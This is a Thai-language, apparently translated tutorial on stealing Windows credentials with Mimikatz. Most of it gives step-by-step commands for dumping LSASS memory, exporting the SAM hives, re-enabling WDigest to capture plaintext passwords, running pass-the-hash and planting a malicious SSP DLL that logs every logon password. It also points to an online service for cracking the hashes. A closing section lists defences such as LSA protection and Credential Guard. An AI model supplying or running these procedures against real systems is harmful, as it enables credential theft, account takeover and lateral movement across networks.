ในบทความนี้ ซึ่งเขียนขึ้นโดยเป็นส่วนหนึ่งของชุดข้อมูลที่เกี่ยวข้องกับความปลอดภัยของ Windows เราจะเรียนรู้วิธีง่ายๆ ในการรับรหัสผ่านของผู้ใช้ Windows ที่ใช้งานอยู่ทั้งหมดโดยใช้ Mimikatz เครื่องมือ.
Mimikatz.exe
สามารถดึงรหัสผ่านข้อความธรรมดาออกจากหน่วยความจำ Windows แฮชรหัสผ่าน ตั๋ว Kerberos ฯลฯ นอกจากนี้ mimikatz ยังให้คุณทำการโจมตีแบบพาส-เดอะ-แฮช โจมตีแบบส่งต่อตั๋ว หรือสร้างตั๋ว Golden Kerberos ฟังก์ชัน mimikatz ยังมีอยู่ใน Metasploit Framework
คุณสามารถดาวน์โหลด mimikatz จาก repo GitHub:https://github.com/gentilkiwi/mimikatz/releases/ แตกไฟล์ mimikatz_trunk.zip ไปยัง C:\Tools\mimikatz mimikatz สองเวอร์ชันจะปรากฏในไดเร็กทอรีนี้ - สำหรับ x64 และ x86 ใช้เวอร์ชันสำหรับ bitness ของ Windows
ในบทความนี้ เราจะแสดงวิธีรับรหัสผ่านผู้ใช้ใน Windows Server 2016 หรือ Windows 10 โดยใช้ mimikatz
ข้อจำกัดความรับผิดชอบ ข้อมูลและเทคโนโลยีที่อธิบายไว้ในบทความนี้ควรใช้เพื่อจุดประสงค์ในการให้ข้อมูลเท่านั้น และไม่ควรเข้าถึงบัญชี ข้อมูล และระบบของบุคคลที่สาม
การแฮ็กรหัสผ่าน Windows ที่แฮชใน LSASS ด้วย Mimikatz
เรามาลองถ่ายโอนข้อมูลแฮชรหัสผ่านของผู้ใช้ที่เข้าสู่ระบบทั้งหมดจากหน่วยความจำ Windows (กระบวนการ lsass.exe – บริการระบบย่อยของหน่วยงานความปลอดภัยในพื้นที่) บนเซิร์ฟเวอร์ RDS ที่ใช้ Windows Server 2016
เรียกใช้คำสั่งต่อไปนี้ในพร้อมท์คำสั่งที่ยกระดับ:
- เรียกใช้
Mimikatz.exe
ในฐานะผู้ดูแลระบบ - คำสั่งต่อไปนี้จะให้สิทธิ์บัญชีปัจจุบันในการดีบักกระบวนการ (SeDebugPrivilege):
privilege::debug
- แสดงรายการเซสชันผู้ใช้ที่ใช้งานอยู่:
sekurlsa::logonPasswords full
- ในกรณีของฉันบนเซิร์ฟเวอร์นอกเหนือจากบัญชีของฉัน มีเซสชันที่ใช้งานอยู่ของผู้ใช้สองคน:
novach
และadministrator
. - คัดลอกแฮช NTLM ของพวกเขา (เน้นในภาพหน้าจอ)
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> c:\tmp\mimikatz_output.txt
ตอนนี้คุณสามารถใช้ออฟไลน์ใดก็ได้ (มี hashcat
เครื่องมือใน Kali Linux) หรือบริการออนไลน์สำหรับการถอดรหัสแฮช NTLM จะใช้บริการ https://crackstation.net/.
อย่างที่คุณเห็น บริการพบค่าสำหรับแฮช NTLM เหล่านี้อย่างรวดเร็ว กล่าวคือ เราได้รับรหัสผ่านผู้ใช้เป็นข้อความที่ชัดเจน
ลองนึกภาพว่านี่คือโฮสต์ RDS ที่มีผู้ใช้พร้อมกันจำนวนมากและเซสชันผู้ดูแลระบบขององค์กร กล่าวคือ หากคุณมีสิทธิ์ของผู้ดูแลระบบในพื้นที่บนเซิร์ฟเวอร์นี้ คุณยังสามารถรับรหัสผ่านผู้ดูแลระบบโดเมนได้
หากคุณใช้รหัสผ่านที่ซับซ้อนสำหรับผู้ใช้ Windows จะถอดรหัสได้ยากขึ้นมาก ดังนั้น ให้เปิดใช้งานความซับซ้อนของรหัสผ่านเสมอผ่าน GPO และตรวจสอบระดับความปลอดภัยของรหัสผ่านในโดเมน AD เป็นประจำ
อย่างที่คุณเห็น ขอบคุณ mimikatz ที่เราได้รับแฮช NTLM ของผู้ใช้ที่ใช้งานอยู่ทั้งหมด! คำสั่งนี้ประสบความสำเร็จเนื่องจากมีการเปิดใช้งานโหมดแก้ไขข้อบกพร่องบนคอมพิวเตอร์เครื่องนี้ ซึ่งช่วยให้คุณตั้งค่า SeDebugPrivilege ธงสำหรับกระบวนการที่ต้องการ ในโหมดนี้ โปรแกรมจะเข้าถึงหน่วยความจำของกระบวนการที่เรียกใช้ในนามของระบบในระดับต่ำได้
หมายเหตุ . ในเดือนมิถุนายน 2017 บริษัทขนาดใหญ่หลายแห่งในหลายประเทศติดมัลแวร์เรียกค่าไถ่ NotPetya ซึ่งใช้โมดูล mimikatz ในตัวเพื่อรวบรวมรหัสผ่านของผู้ใช้และผู้ดูแลโดเมนจะรับรหัสผ่านของผู้ใช้จาก Windows Memory Dump ได้อย่างไร
วิธีการรับแฮชรหัสผ่านข้างต้นจะไม่ทำงานหากติดตั้งโปรแกรมป้องกันไวรัสที่บล็อกการแทรก ในกรณีนี้ จะต้องสร้างการถ่ายโอนข้อมูลหน่วยความจำของกระบวนการ LSASS บนโฮสต์เป้าหมาย คัดลอกไปยังคอมพิวเตอร์ของคุณและแยกแฮชรหัสผ่านโดยใช้ mimikatz
มันค่อนข้างง่ายที่จะสร้างการถ่ายโอนข้อมูลหน่วยความจำของกระบวนการใน Windows เริ่มตัวจัดการงาน ค้นหากระบวนการ lsass.exe คลิกขวาและเลือก สร้างไฟล์ดัมพ์ .
Windows จะบันทึกการถ่ายโอนข้อมูลหน่วยความจำไปยังโฟลเดอร์ system32
คุณเพียงแค่ต้องแยกวิเคราะห์ไฟล์ดัมพ์โดยใช้ mimikatz (คุณสามารถทำงานนี้บนคอมพิวเตอร์เครื่องอื่นได้) โหลดการถ่ายโอนข้อมูลหน่วยความจำไปที่ mimikatz:
Mimikatz “sekurlsa::minidump C:\Users\username\AppData\Local\Temp\lsass.DMP”
รับชื่อผู้ใช้และแฮชรหัสผ่านจากดัมพ์:
# sekurlsa::logonPasswords
คุณสามารถรับการถ่ายโอนข้อมูลหน่วยความจำจากคอมพิวเตอร์ระยะไกลโดยใช้ psexec หรือผ่าน WinRM (หากคุณมีสิทธิ์ของผู้ดูแลระบบ) และดึงรหัสผ่านของผู้ใช้ออกมา
คุณยังสามารถใช้ procdump
เครื่องมือจาก Sysinternals เพื่อรับการถ่ายโอนข้อมูล:
procdump -ma lsass.exe lsass.dmp
การถ่ายโอนข้อมูลหน่วยความจำของกระบวนการ LSASS สามารถรับได้ด้วยฟังก์ชัน Out-Minidump.ps1 ใน PowerShell นำเข้าฟังก์ชัน Out-Minidump เข้าสู่เซสชัน PoSh และสร้างการถ่ายโอนข้อมูลหน่วยความจำของกระบวนการ LSASS:
Import-Module .\OutMiniDump.ps1
Get-Process lsass | Out-Minidump
การแยกรหัสผ่าน Windows จากไฟล์ Hyberfil.sys และ VM Page
นอกจากนี้ยังสามารถแยกรหัสผ่านของผู้ใช้ออกจากไฟล์ดัมพ์หน่วยความจำ ไฟล์ไฮเบอร์เนตระบบ (hiberfil.sys) และ vmem ของไฟล์เครื่องเสมือน (ไฟล์การเพจเครื่องเสมือนและสแน็ปช็อต)
ในการดำเนินการ คุณต้องมี เครื่องมือแก้ไขข้อบกพร่องสำหรับ Windows (WinDbg), เลียนแบบ ตัวเองและ เครื่องมือ เพื่อแปลง .vmem เป็นไฟล์ดัมพ์หน่วยความจำ (ใน Hyper-V อาจเป็น vm2dmp.exe หรือ MoonSols Windows Memory toolkit สำหรับ VMWare vmem-files)
ตัวอย่างเช่น ในการแปลงไฟล์เพจ vmem ของเครื่องเสมือน VMWare เป็นดัมพ์ ให้ใช้คำสั่งนี้:
bin2dmp.exe "wsrv2008r2-1.vmem" vmware.dmp
นำเข้าการถ่ายโอนข้อมูลลงใน WinDbg (ไฟล์ -> เปิด Crash Dump) โหลดไลบรารี mimikatz mimilib.dll:
.load mimilib.dll
ค้นหากระบวนการ lsass.exe ในดัมพ์:
!process 0 0 lsass.exe
และสุดท้าย พิมพ์:
.process /r /p fffffa800e0b3b30
!mimikatz
ด้วยเหตุนี้ คุณจะได้รับรายชื่อผู้ใช้ Windows และแฮช NTLM ของรหัสผ่าน หรือแม้แต่รหัสผ่านแบบข้อความที่ชัดเจน
การแยกรหัสผ่าน Windows ในข้อความที่ชัดเจนโดยใช้ WDigest
คุณสามารถใช้ WDigest โปรโตคอลสำหรับการพิสูจน์ตัวตน HTTP ไดเจสต์ใน Windows เวอร์ชันดั้งเดิม ข้อบกพร่องด้านความปลอดภัยหลักของโปรโตคอลนี้คือการจัดเก็บรหัสผ่านของผู้ใช้ไว้ในหน่วยความจำเป็นข้อความธรรมดา แทนที่จะเป็นแฮช Mimikatz ให้คุณดึงรหัสผ่านเหล่านี้ออกจากหน่วยความจำของกระบวนการ LSASS.EXE
โปรโตคอล WDigest ถูกปิดใช้งานโดยค่าเริ่มต้นใน Windows เวอร์ชันใหม่ทั้งหมด รวมถึง Windows 10 และ Windows Server 2016/2019 แต่ลบไม่หมด หากคุณมีสิทธิ์ผู้ดูแลระบบภายในใน Windows คุณสามารถเปิดใช้งานโปรโตคอล WDiget รอให้ผู้ใช้เข้าสู่ระบบและขโมยรหัสผ่านได้
เปิดใช้งาน Wdigest บน Windows:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
รีเฟรชการตั้งค่านโยบายกลุ่ม:
gpupdate /force
รอให้ผู้ใช้เข้าสู่ระบบและรับรหัสผ่านด้วย mimikatz (ผู้ใช้ต้องเข้าสู่ระบบใหม่บน Windows 10; ใน Windows Server 2016 ก็เพียงพอที่จะปลดล็อกเซสชันหลังจากหน้าจอล็อก):
privilege::debug
sekurlsa::wdigest
อย่างที่คุณเห็น ส่วน wdigest มีรหัสผ่านของผู้ใช้เป็นข้อความที่ชัดเจน:
การแยกแฮชรหัสผ่านผู้ใช้ในเครื่องจาก SAM
ด้วย mimikatz คุณสามารถแยกแฮชรหัสผ่านของผู้ใช้ Windows ในเครื่อง (รวมถึงบัญชีผู้ดูแลระบบในตัว) จาก SAM:
privilege::debug
token::elevate
lsadump::sam
คุณยังสามารถแยกแฮช NTLM ออกจากกลุ่ม SAM ของรีจิสทรีได้
- ส่งออกกลุ่มรีจิสทรี SYSTEM และ SAM ไปยังไฟล์:
reg save hklm\sam c:\tmp\sam.hiv
reg save hklm\security c:\tmp\sec.hiv
- จากนั้นใช้ Mimikatz เพื่อดัมพ์แฮชรหัสผ่าน:
privilege::debug
token::elevate
lsadump::sam c:\tmp\sam.hiv c:\tmp\sec.hiv
ทำการโจมตีแบบ Pass-the-Hash ผ่าน Mimikatz
หากผู้ใช้มีรหัสผ่านที่รัดกุม และคุณไม่สามารถถอดรหัส NTLM hash ได้อย่างรวดเร็ว คุณสามารถใช้ Mimikatz เพื่อทำการโจมตีแบบ pass-the-hash (hash reuse) ในกรณีนี้ สามารถใช้แฮชเพื่อรันกระบวนการในนามของผู้ใช้เป้าหมาย ตัวอย่างเช่น หากคุณดัมพ์แฮช NTLM ของรหัสผ่านของผู้ใช้ คำสั่งต่อไปนี้จะเรียกใช้พรอมต์คำสั่งภายใต้บัญชีนั้น:
privilege::debug
sekurlsa::pth /user:Administrator /domain:woshub /ntlm:e91ccf23eeeee21a12b6709de24aa42 /run:powershell.exe
นอกจากนี้ คุณสามารถใช้
Invoke-TheHash
เครื่องมือเพื่อนำข้อมูลประจำตัว NTLM กลับมาใช้ใหม่เพื่อดำเนินการคำสั่งกับผู้เดินทางระยะไกล การทิ้งรหัสผ่านจาก Windows Credential Manager
ใน Windows คุณสามารถบันทึกรหัสผ่านใน Windows Credential Manager ได้ (อาจเป็นรหัสผ่านสำหรับเข้าถึงคอมพิวเตอร์ระยะไกล เว็บไซต์ ข้อมูลประจำตัว RDP ใน TERMSRV/hostname1
รูปแบบ). Mimikatz สามารถดึงรหัสผ่านเหล่านี้จาก Credential Manager และแสดงให้คุณเห็น:
privilege::debug
sekurlsa::credman
อย่างที่คุณเห็น รหัสผ่านที่บันทึกไว้จะแสดงอยู่ใต้ credman มาตรา.
รหัสผ่าน autologon ของ Windows จะถูกเก็บไว้ในรีจิสทรีในรูปแบบข้อความที่ชัดเจน นอกจากนี้ยังง่ายต่อการดึงรหัสผ่าน Wi-Fi ที่บันทึกไว้
การทิ้งรหัสผ่านการเข้าสู่ระบบ Windows ในข้อความที่ชัดเจน
อีกวิธีหนึ่งที่น่าสนใจในการดัมพ์รหัสผ่านใน Windows คือการใช้ผู้ให้บริการ SSP เพิ่มเติม (Security Support Provider) ที่ขับเคลื่อนโดย mimikatz
- คัดลอกไฟล์ไลบรารี Mimikatz mimilib.dll ไปยังโฟลเดอร์ C:\Windows\System32\;
- ลงทะเบียนผู้ให้บริการ SPP เพิ่มเติมด้วยคำสั่ง:
reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
- เมื่อผู้ใช้แต่ละรายล็อกออนเข้าสู่ Windows รหัสผ่านของพวกเขาจะถูกเขียนลงในไฟล์ kiwissp.log คุณสามารถแสดงรหัสผ่านทั้งหมดโดยใช้ PowerShell:
Get-Content C:\Windows\System32\kiwissp.log<
/li>
ปกป้อง Windows จากการโจมตีทิ้งข้อมูลประจำตัว
ใน Windows 8.1 และ Windows Server 2012 R2 (และใหม่กว่า) ความสามารถในการขโมยรหัสผ่านจาก LSASS นั้นมีจำกัด แฮช LM และรหัสผ่านจะไม่ถูกเก็บไว้ในหน่วยความจำใน Windows เวอร์ชันเหล่านี้โดยค่าเริ่มต้น
ฟังก์ชันเดียวกันนี้กลับไปใช้ Windows เวอร์ชันก่อนหน้า (7/8/2008R2/2012) ซึ่งคุณต้องติดตั้งการอัปเดตพิเศษ KB2871997 (การอัปเดตมีตัวเลือกอื่นๆ เพื่อปรับปรุงความปลอดภัยของระบบ) และในคีย์รีจิสทรี HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest ตั้งค่าพารามิเตอร์ DWORD UseLogonCredential เป็น 0 (WDigest ถูกปิดใช้งาน)
หากคุณพยายามแยกรหัสผ่านออกจากหน่วยความจำหลังจากติดตั้งการอัปเดตนี้และคีย์ UseLogonCredential คุณจะเห็นว่า mimikatz ไม่สามารถถ่ายโอนรหัสผ่านและแฮชโดยใช้คำสั่ง creds_wdigest
ด้านบน เราได้แสดงวิธีที่คุณสามารถตั้งค่าคีย์ reg นี้เป็นค่าที่มีช่องโหว่ได้อย่างง่ายดาย หากคุณมีสิทธิ์ของผู้ดูแลระบบภายใน หลังจากนั้น คุณสามารถเข้าถึงรหัสผ่านในหน่วยความจำ LSA ได้อีกครั้ง
ใน mimikatz มีตัวเลือกอื่นในการรับรหัสผ่านและแฮชจากหน่วยความจำ (WDigest, LM-hash, NTLM-hash, โมดูลสำหรับจับตั๋ว Kerberos) ดังนั้นจึงขอแนะนำให้ใช้มาตรการรักษาความปลอดภัยต่อไปนี้เพื่อการป้องกัน:
- ป้องกันการจัดเก็บรหัสผ่านโดยใช้การเข้ารหัสแบบย้อนกลับ
- ปิดการใช้งาน WDigest;
- ป้องกันการบันทึกรหัสผ่านในตัวจัดการข้อมูลรับรอง
- ปิดการใช้งาน NTLM;
- ป้องกันการแคชข้อมูลรับรองผู้ใช้โดเมน (โดย CachedLogonsCount พารามิเตอร์รีจิสทรีหรือตัวเลือกนโยบายกลุ่ม นโยบายการเข้าสู่ระบบแบบโต้ตอบ:จำนวนการเข้าสู่ระบบก่อนหน้าไปยังแคช );
- ถ้าระดับการทำงานของโดเมนคือ Windows Server 2012 R2 หรือใหม่กว่า คุณสามารถเพิ่มบัญชีผู้ดูแลระบบใน ผู้ใช้ที่ได้รับการคุ้มครอง พิเศษ กลุ่ม . ในกรณีนี้ แฮช NTLM จะไม่ถูกสร้างขึ้นสำหรับผู้ใช้ดังกล่าว
- เปิดใช้งานการป้องกันกระบวนการ LSA:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 00000001 /f
(การตั้งค่านี้จะอนุญาตเฉพาะกระบวนการที่ลงนามของ Microsoft เพื่อเข้าถึงหน่วยความจำ LSASS คุณสามารถปรับใช้คีย์ reg นี้ในโดเมนผ่าน GPO) - ใช้ Credential Guard เพื่อปกป้องเนื้อหา LSA ของกระบวนการ
- ป้องกันการได้รับสิทธิ์ในการดีบักแม้แต่กับผู้ดูแลระบบในพื้นที่:GPO -> Windows Settings -> Security Settings -> Local Policies -> User Rights Assignment -> Debug โปรแกรม (อย่างไรก็ตาม สิ่งนี้สามารถข้ามได้อย่างง่ายดายหากคุณมีสิทธิ์ LocalSystem หรือเช่นนี้)
บทสรุป. เราขอเตือนคุณเกี่ยวกับแนวคิดด้านความปลอดภัยที่สำคัญบางประการอีกครั้ง
- อย่าใช้รหัสผ่านเดียวกันสำหรับบริการต่างๆ (โดยเฉพาะสำหรับการเข้าถึงโฮสต์ RDP/RDS ที่เป็นของบุคคลที่สาม)
- นึกถึงการรักษาความปลอดภัยของรหัสผ่านและข้อมูลที่จัดเก็บไว้ในเครื่องเสมือนในระบบคลาวด์ เนื่องจากคุณไม่อาจแน่ใจได้ว่ามีใครบ้างที่มีสิทธิ์เข้าถึงไฮเปอร์ไวเซอร์และที่เก็บข้อมูลซึ่งเป็นที่ตั้งของไฟล์เครื่องเสมือน
- ลดจำนวนบัญชีที่มีสิทธิ์ของผู้ดูแลระบบส่วนกลางหรือในเครื่อง (ดูคำแนะนำในการรักษาความปลอดภัยบัญชีผู้ดูแลระบบในสภาพแวดล้อม Windows)
- อย่าเข้าสู่ระบบภายใต้บัญชีผู้ดูแลระบบโดเมนกับเซิร์ฟเวอร์และคอมพิวเตอร์ที่ผู้ใช้รายอื่นสามารถเข้าถึงได้